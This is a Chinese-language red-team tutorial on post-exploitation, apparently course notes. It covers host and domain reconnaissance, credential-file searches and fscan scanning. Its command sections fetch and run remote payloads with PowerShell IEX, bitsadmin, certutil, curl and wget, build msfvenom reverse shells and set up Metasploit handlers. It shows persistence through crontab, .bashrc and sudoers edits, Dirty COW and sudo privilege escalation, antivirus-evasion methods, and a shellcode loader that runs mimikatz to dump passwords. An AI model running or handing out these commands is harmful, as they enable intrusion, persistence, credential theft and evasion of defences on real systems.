[TOC]
信息收集
查询本地主机信息
查看用户信息
获取主机上的用户信息
当前⽤户信息:
whoami /user
whoami /priv
whoami /all
quser
query user || qwinsta
主机⽤户信息
net user
net localgroup administrators
查看网络信息
获取主当前主机的⽹段、⽹卡、路由映射、arp缓存,了解当前主机所在的⽹络环境和结构,内⽹有哪些⽹段,主机可以通向哪些⽹段
ipconfig
# 查看主机的⽹卡和⽹络配置信息,如dns、IP、⽹关、⽹段等信息
# /all 显示所有配置信息例如显示相关的DNS服务器,如果有多个⽹卡,则显示所有控制器的IP地址,默认⽹关,⼦⽹掩码。
# /release 释放IP 地址 可以指示特定的适配器(如果有多个⽹络适配器);随后的命令/renew 然后在发布后分配⼀个新IP
# /renew 更新IP 地址可以指明特定的适配器(如果有多个⽹络适配器)
# /flushdns 清除DNS 解析缓存推荐⽤于缓存内容已损坏并且可以解决问题、提⾼安全性和加快Web 浏览速度。
# /displaydns 显示来⾃DNS 解析缓存的内容
netstat
#查看主机端⼝信息,可以简单的分析当前主机的常⽤软件如mysql、ssh、mssql等,也可以看到该主机的⽹络连接情况可以和哪些主机通信
# a:显示所有连接和监听端⼝
# b:显示创建每个连接或监听端⼝的可执⾏组件,需要管理员权限
# o:显示与每个连接相关的所属进程ID
# n:以数字形式显示地址和端⼝号
# p:指定查询的协议TCP 、UDP 、TCPv6 或UDPv6等
# r:显示路由表
arp
# 查看主机的静态MAC映射关系,可以获取内⽹的⽹段和主机信息
# a、g:查看arp缓存中的所有信息
# d:删除inet_addr 指定的主机。inet_addr 可以是通配符*,以删除所有主机。
# s:添加mac和IP映射到ARP缓存表中
# v:在详细模式下显示当前ARP 项
route
# 获取当前主机的路由表、可以和哪些主机进⾏通信流量流向情况等
# 查看主机路由
查看主机信息
查询主机上的软件和系统信息,了解当前主机的安全级别、是否存在杀软、补丁情况,可以为提权做准备
hostname # 打印当前主机的名称
wmic OS get Caption,CSDVersion,OSArchitecture,Version # 查看主机系统信息
tasklist # 查看主机进程信息,可以通过进程信息知道当前主机安装了哪些软件,有哪些杀软以便进⾏免杀
# svc 列出每个进程的所有服务信息,⽽不截断。 当 /fo 参数设置为 table 时有效。
# /fo{table | list | csv} 指定要⽤于输出的格式。 有效值为 table、list或 csv。 输出的默认格式为 table。
# /fi <filter> 指定要包含在查询中或从查询中排除的进程类型。 可以使⽤多个筛选器或使⽤通配符(\) 指定所有任务或映像名称。 本⽂的“筛选器名称、运算符和值”部分列出了有效的筛选器。
systeminfo # 查看主机详细信息,可以获取主机的操作系统、补丁安装等信息,通过这些信息可以查看主机存在哪些未打补丁信息
# /fo{table | list | csv} 指定要⽤于输出的格式
可以将tasklist的信息放到下⾯连接查看进程信息,查看有哪些杀软等
systeminfo查询的信息较多,有的时候会导致shell卡死,可以尝试将其写⼊到⽂件中,然后通过读取⽂件来读取信息 。根据补丁信息可以查找提权exp
域内信息收集
判断是否存在域环境
ipconfig #查看dns服务器
systeminfo #查看域
wmic #命令查询,用于管理本地和远程计算机的系统资源。
net config workstation #显示或更改与工作站服务相关的配置信息。
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters #注册表查看
net view /domain #查看内⽹域
定位域控
net group "domain controllers" /domain #查看所有域控
net time /domain #从域中同步时间
nslookup -type=SRV _ldap._tcp #SRV 记录查询
查询域内主机
net view #查看同⼀域内主机列表
net view /domain:XYZ #查看XYZ域内的机器列表
net group "domain computers" /domain #查看所有的域控主机
查询域内用户
net group "Domain Users" /domain #查询域内的⽤户名称
net user /domain #查看域内所有⽤户
net group "Domain Admins" /domain #查询域管理员
主机敏感凭据收集
1.指定⽬录下搜集各类敏感⽂件
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"
2.指定⽬录下的⽂件中搜集各种账号密码
findstr /si pass *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xm
l *.cgi *.bak
findstr /si userpwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.
xml *.cgi *.bak
findstr /si pwd *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xml
*.cgi *.bak
findstr /si login *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xm
l *.cgi *.bak
findstr /si user *.inc *.config *.ini *.txt *.asp *.aspx *.php *.jsp *.xm
l *.cgi *.bak
find /etc/ -name passwd -exec grep "root" {} \; > /tmp/test.txt
find /etc/ -name passwd -exec grep -H "root" {} \;
内网综合扫描工具Fscan
官方网站:fscan.club/
Fscan安装
-
下载⼆进制⽂件
-
使⽤源码编译
# 基础编译 go build -ldflags="-s -w" -trimpathmain.go # UPX压缩(可选) upx -9fscan # Arch Linux yay -Sfscan-git # 或 paru -Sfscan-git(网盘有.exe执行文件)
Fsacn使用
fscan.exe -h 192.168.x.x (全功能、ms17010、读取⽹卡信息)
fscan.exe -h 192.168.x.x/24(网段扫描)
fscan.exe -h 192.168.x.x -rf id_rsa.pu (redis 写公钥)
fscan.exe -h 192.168.x.x -p 80 -proxy http://127.0.0.1:8080 ⼀键⽀持xray的poc
)
fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)
利用RCE漏洞上线远控
当我们通过Web渗透获取了⼀个RCE漏洞,我们该怎么去下载后⻔⽂件到⽬标主机上执⾏从⽽上线cs或者msf呢?⼀般来说,实现⽂件下载执⾏的⽅式主要如下: 第⼀种,远程下载⽂件到本地,然后再执⾏; 第⼆种,远程下载执⾏,执⾏过程没有⼆进制⽂件落地,这种⽅式已然成为后⻔⽂件下载执⾏的⾸要⽅式。
临时 HTTP 服务器
⽤ Python 快速搭建 HTTP 服务器
python3 -mhttp.server 8000 # Python 3(默认端⼝8000)
Cobalt Strike文件托管
Windows上线cobaltstrike
使⽤环境:Windows Server 2008
PowerShell
PowerShell是⼀种命令⾏外壳程序和脚本环境,使得命令⾏⽤户和脚本编写者可以利⽤。 这条命令会直接在内存中执⾏恶意代码,不落地⽂件:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.153.1/cf.exe'))" //仅作展示
复制命令:
通过命令执行漏洞知名复制到的命令,即可实现无落地上线
(站点管理可以重新找回命令)
Bitsadmin
bitsadmin是⼀个命令⾏⼯具,可⽤于创建下载或上传⼯作和监测其进展情况。
bitsadmin /transfer n http://192.168.85.1/one.exe .\
cs内置该功能,使⽤⽅式参考powershell
cmd.exe /c bitsadmin /transfer daa3 http://192.168.153.136:80/a1 %APPDATA%\daa3.exe&%APPDATA%\daa3.exe&del %APPDATA%\daa3.exe //仅作展示
certutil
⽤于备份证书服务,⽀持xp-win10都⽀持。由于certutil下载⽂件都会留下缓存,所以⼀般都建议下载完⽂件后对缓存进⾏删除。 注:缓存⽬录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"
#下载⽂件
certut^il -urlcache -split -f http://192.168.153.136:80/a3.exe one.exe
#删除缓存
certutil -urlcache -split -f http://192.168.153.136:80/a3.exe delete'
#查看缓存
certutil -urlcache *
Linux 上线metasploit
下⾯介绍Linux系统上线Metasploit的各种技术⽅法,包括⽣成payload、传输⽅式和执⾏技巧
生成payload
基础Payload⽣成
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.153.136 LPORT=4444 -f elf > payload.elf
常⽤变种
# 64位系统
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > payload64.elf
# 绑定型payload
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=<PORT> -f elf > bind_payload.elf
# 加密payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai -f elf >
设置HTTP服务器
将payload⽂件放在Web服务器可访问的⽬录,例如
python3 -m http.server 80
# 或
php -S 0.0.0.0:80
监听器配置
# 启动msfconsole
msfconsole
# 配置监听器
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.153.136
set LPORT 4444
exploit
Payload传输方法
直接下载执⾏
# 使⽤wget
wget http://192.168.153.136:8081/payload.elf -O /tmp/p && chmod +x /tmp/p && /tmp/p
# 使⽤curl
curl http://192.168.153.136:8081/payload.elf -o /tmp/p && chmod +x /tmp/p && /tmp/p
分块传输
# 分割payload
split -b 500k payload.elf payload_part_
# ⽬标机重组
cat payload_part_* > payload.elf
编码传输
# Base64编码
base64 payload.elf > payload.b64
# ⽬标机解码执⾏
base64 -d payload.b64 > payload.elf
Payload执行技巧
基础执⾏
chmod +x payload.elf
./payload.elf &
内存执⾏(不落盘), /dev/shm 是内存⽂件系统,重启后消失, ⽐ /tmp 更隐蔽
curl -s http://192.168.153.136:8081/payload.elf > /dev/shm/.p && chmod +x /
dev/shm/.p && /dev/shm/.p &
rm -f /dev/shm/.p
持久化⽅法
# 写⼊crontab
(crontab -l 2>/dev/null; echo "* * * * * /tmp/payload.elf") | crontab -# 写⼊profile
echo "/tmp/payload.elf &" >> ~/.bashrc
权限提升后执⾏
# 通过sudo执⾏
echo 'user ALL=(ALL) NOPASSWD: /tmp/payload.elf' >> /etc/sudoers
sudo /tmp/payload.elf
提权升级
数据库提权上线远控
MDUT安装和使用
MDUT 全称 Multiple Database Utilization Tools,是⼀款中⽂的数据库跨平台利⽤⼯具,集合了多种主流的数据库类型。基于前⼈ SQLTOOLS 的基础开发了这套程序(向SQLTOOLS 致敬),旨在将常⻅的数据库利⽤⼿段集合在⼀个程序中,打破各种数据库利⽤⼯具需要各种环境导致使⽤相当不便的隔阂。 此外⼯具以 JAVAFx 作为 GUI 操作界⾯,界⾯美观。同时程序还⽀持多数据库同时操作,每种数据库都相互独⽴,极⼤⽅便了⽹络安全⼯作者的使⽤。
最新版在云盘中或者从官⽹下载 github.com/DeEpinGh0st…
MDUT-Extend-1.2.0-T00ls.zip解压后如下:
MDUT-Extend 需要使⽤jdk8来启动,windows渗透虚拟机中直接启动startup.bat即可,也可以放到其他地⽅使⽤,
注:记得重设一下配置文件,防止jar包引用路径错误
右键新增,选择要连接的数据库类型并填⼊IP和账号密码连接
详细使⽤说明:www.yuque.com/u21224612/n…
UDF提权
UDF(user defined function)⽤户⾃定义函数,是 MySQL 的⼀个扩展接⼝,称为⽤户⾃定义函数,是⽤来拓展 MySQL 的技术⼿段,⽤户通过⾃定义函数来实现在 MySQL 中⽆法实现的功能。⽂件后缀为 .dll 或 so,常⽤ c 语⾔编写。
提权条件:
- mysql 允许导⼊导出⽂件,也就是 secure_file_priv 的值为空(为空不是为 NULL,完全⽆法使⽤udf )
- ⾼权限⽤户启动,如 root 。该账号需要有对数据库 mysql 的 insert 和 delete 权限,其实是操作⾥⾯的 func 表,所以 func 表也必须存在。⽽且这样才能有权限写⼊⽂件到⽬标⽂件夹中,不然⼤概率写不进去。
- 未开启 ‑‑skip‑grant‑tables 。开启的情况下, UDF 不会被加载,默认不开启。
漏洞复现
环境准备 以phpstudy上的mysql为例,注意需要保持 secure_file_priv 的值为空。默认的mysql是5.7.26,这个值不是空,因此修改mysql配置⽂件并重启
D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini
[mysqld]
secure_file_priv=
查看secure_file_priv结果,发现修改成功
在下⾯⽬录下创建lib\plugin⽂件夹
D:\phpstudy_pro\Extensions\MySQL5.7.26
使用MDUT提权
**mysql如果链接断掉后,可以重新打开。**提权成功⼀次即可,再次连接⽆需再次提权。
上线cobaltstrike
这⾥使⽤powershell上线。注意需要对单引号进⾏转移,否则⽆法执⾏命令。
上线成功
参考
Windows权限提升
Windows提权前期相关事项
-
明确漏洞编号及版本
-
明确漏洞利⽤平台及版本
-
确保cmd执⾏权限正常运⾏
-
明确服务器相关防护软件情况
systeminfo 查看系统补丁:⼀般的,如果⽹站安全做好的情况下,会有⼏百个补丁
Windows提权常用命令
whoami 查看当前权限
ipconfig 查看服务器为内⽹还是外⽹
quser 查看管理是否在线
systeminfo 查看服务器信息及相应的补丁,可找相应的补丁提权
tasklist 查看当前运⾏的进程,是否有av,可利⽤的第三⽅的服务提权等
net user 查看⽤户
net user admin adqqq7! /add 添加账户
net localgroup administrators admin /add 将admin这个⽤户加到管理组
net user guest /active:yes 激活guest账户
net user admin /del 删除admin账户
tasklist /svc 查看进程服务
tasklist /m dll 查看调⽤某个dll的进程
tasklist /v 显示当前进程和进程⽤户
qwinsta 显示会话情况
net config workstation 查看当前登陆⽤户信息
hostname 主机名
set 查看环境变量
net view 显示当前域或⼯作组中计算机的列表
net statistics workstation 查看主机开机时间
net share 查看共享⽂件夹
查看3389是否开启,0x0为开,0x1为关
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections
Cobalt Strike提权
开启RDP远程桌面连接服务
Linux权限提升
linux-exploit-suggester
该⼯具可以查看当前机器的内核并根据公开已知的Linux 内核漏洞给出提权建议。(比较老)
./linux-exploit-suggester.sh
Linux脏牛提权(内核提权)
漏洞简介:CVE-2016-5195,即 Dirty COW,俗称「脏⽜」漏洞。它是Linux Kernel 中的条件竞争漏洞,攻击者可以利⽤Linux Kernel 中的 COW(Copy-on-Write,写时复制)技术中存在的逻辑漏洞完成对⽂件的越权读写,恶意⽤户可利⽤此漏洞来获取⾼权限。 github.com/firefart/di…
漏洞原理:Linux内核的⼦系统在处理写⼊时复制产⽣了条件竞争,恶意⽤户可利⽤此漏洞来获取⾼权限。
影响版本:⾃2007年9⽉ Linux Kernel 2.6.22 被引⼊,直到2018年Linux Kernel 4.8.3, 4.7.9, 4.4.26 之后才被彻底修复,影响在此期间的所有基于其中版本范围的Linux发⾏版。
上传提权exp dirty.c,使⽤gcc进⾏编译:
gcc -pthread dirty.c -o dirty -lcrypt
进⾏提权(root是任意输⼊的密码,可能会卡⼀会⼉):./dirty root
查看/etc/passwd发现多了⼀个⽤户toor
su toor,输⼊密码即root,成功提权⾄root权限
sudo 本地提权漏洞(常用文件)
漏洞简介: Sudo 1.9.14+ 版本存在漏洞:它在切换环境(chroot)后过早解析路径,导致攻击者能通过伪造/etc/nsswitch.conf等⽂件,诱骗Sudo加载恶意库(如libnss_xxx.so)。⽆需特殊权限即可获得root权限,危害极⼤。(核⼼:路径解析顺序错误+ 恶意库劫持= 直接提权) 1.9.14版本是2023年7⽉20⽇发布的,最新补丁是2025年6⽉30⽇发布的。也就是说,只要是这两年安装的Linux主机,近期内不进⾏更新,符合条件全部可以梭哈,漏洞影响范围还是⽐较⼴的,⽽且,⼤家都知道的,很少⼈更新系统的
受影响版本:Sudo 1.9.14⾄1.9.17全系列 漏洞复现: github.com/pr0v3rbs/CV…
./sudo-chwoot.sh
免杀处理
免杀原理
可执行文件存在的两种状态及检测方式:
-
未执行时在硬盘上的状态(静态检测)
-
执行后加载进内存的状态(动态监测)
杀软的基本等级:
- 无害:无任何可疑行为,无任何特征命中病毒特征
- 可疑:存在可疑行为,例如操作注册表、打开Powershell、修改用户、操作敏感文件等
- 有害:特征命中病毒特征
静态检测
静态检测是在不实际运行程序的情况下进行的分析,大部分的静态检测对象是针对特定版本的源代码,也有些静态程序分析的对象是目标代码。
- 样本Hash检测
- 特征码检测
- 黑白名单检测
常见的绕过思路: 绕过静态检测的方式通常有多次加密、内存加载执行、加壳改壳、添加/替换资源、加密Shellcode等
常用的静态检测平台: www.virustotal.com/
动态检测
动态检测针对样本文件内存中的状态进行检测:
- 内存特征码检测
- 敏感API检测(HOOK)
- 敏感行为检测
常见的绕过思路: 绕过动态检测的方式通常是白名单调用敏感行为,再导入恶意内容
常用的动态检测平台: s.threatbook.cn/
流量检测
流量检测针对恶意程序在网络通讯流量层面上的状态进行检测
- 结构特征
- 内容特征
- IP/域名/证书匹配
常见的绕过思路: 绕过流量检测的方式通常有TCP分段传输、内容加密、使用合法证书等
云查杀
云查杀的不同点在于它的病毒库是放在服务器端的,而不是本地客户端,只要联网,病毒库就会同步更新,病毒库更加强大。当开着杀软的云查杀的时候,有时候刚开始没报病毒,但过一会就提示病毒了。
有效免杀方法
静态免杀
- 修改特征码
- 花指令免杀
- 加壳免杀
动态免杀
-
API免杀
-
内存免杀
-
二次编译
-
分离免杀
例如Payload分离免杀和Webshell分离免杀,将Shellcode和加载器分离,实现简单,但效果不错。
-
资源修改
万能免杀处理器
解压密码是magedu(火绒免杀,尽量不要扫)
使用方法
xlanyloader.exe v1.7版本更新共提供2个版本:去黑框版本和不去黑框版本。去黑框版本适用于加载shellcode上线cobaltstrike,这类不需要回显的操作。
上线cobaltstrike
- .首先使用cobaltstrike生成payload.bin文件,然后将payload.bin重命名为ca.bin上传到与xlanylaoder1.7.exe同目录下即可。
文件名改成ca.bin
- 放到同一文件夹下,通过运行 xlanylaoder1.7.exe 来加载 shellcode上线 cobaltstrike。
- 成功上线 cobaltstrike。
上线msf
-
启动监听器
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.184.130 set lport 5558
-
生成木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.184.130 lport=5558 -f raw -o ca.bin
- 将ca.bin放到加载器目录下并运行,上线成功
运行mimikatz
不去黑框版本适用于需要显示结果的操作,如mimikatz读取密码,fscan扫描结果等等操作
-
首先通过donut.exe工具 将mimikatz.exe转化为ca.bin文件。
donut.exe -i mimikatz.exe -o ca.bin
win11有 mimikatz
- 然后将ca.bin放在同目录下即可,运行 xlanyloader1.7.2.exe
或者运行命令,命令行命令参数和源程序保持一致。
xlanyloader1.7.2.exe "privilege::debug" "sekurlsa::logonpasswords full"
运行Fscan和上面相同
xlanyloader1.7.2.exe -h 192.168.1.1